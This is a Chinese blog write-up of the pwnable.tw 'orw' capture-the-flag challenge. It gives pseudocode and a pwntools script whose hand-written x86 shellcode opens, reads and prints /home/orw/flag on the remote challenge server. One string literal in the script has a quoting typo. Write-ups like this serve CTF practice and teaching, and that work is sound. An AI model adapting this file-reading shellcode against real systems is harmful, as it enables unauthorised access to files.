美文网首页
Pwnable.tw orw

Pwnable.tw orw

作者: Robin_Tan | 来源:发表于2017-05-31 20:37 被阅读0次

    这题还是比较简单的

    题目的描述看 显然是要写shellcode来读flag文件

    binary会直接执行写入的shellcode

    伪代码

    char*file='home/orw/flag';

    sys_open(file,0,0);

    sys_read(3,file,0x30);

    sys_write(1,file,0x30);

    系统调用的参数详见这里

    然后就相当于用汇编构造出这些函数,可能需要对x86汇编有一些基本的了解

    利用脚本

    from pwn import *

    context.log_level="debug"

    s = remote('chall.pwnable.tw',10001)

    shellcode = ''"

    shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')

    shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')

    shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')

    def pwn():

        recv = s.recvuntil(':')

        print recv

        s.sendline(shellcode)

        flag = s.recv()

    pwn()

    相关文章

      网友评论

          本文标题:Pwnable.tw orw

          本文链接:https://www.haomeiwen.com/subject/vyijfxtx.html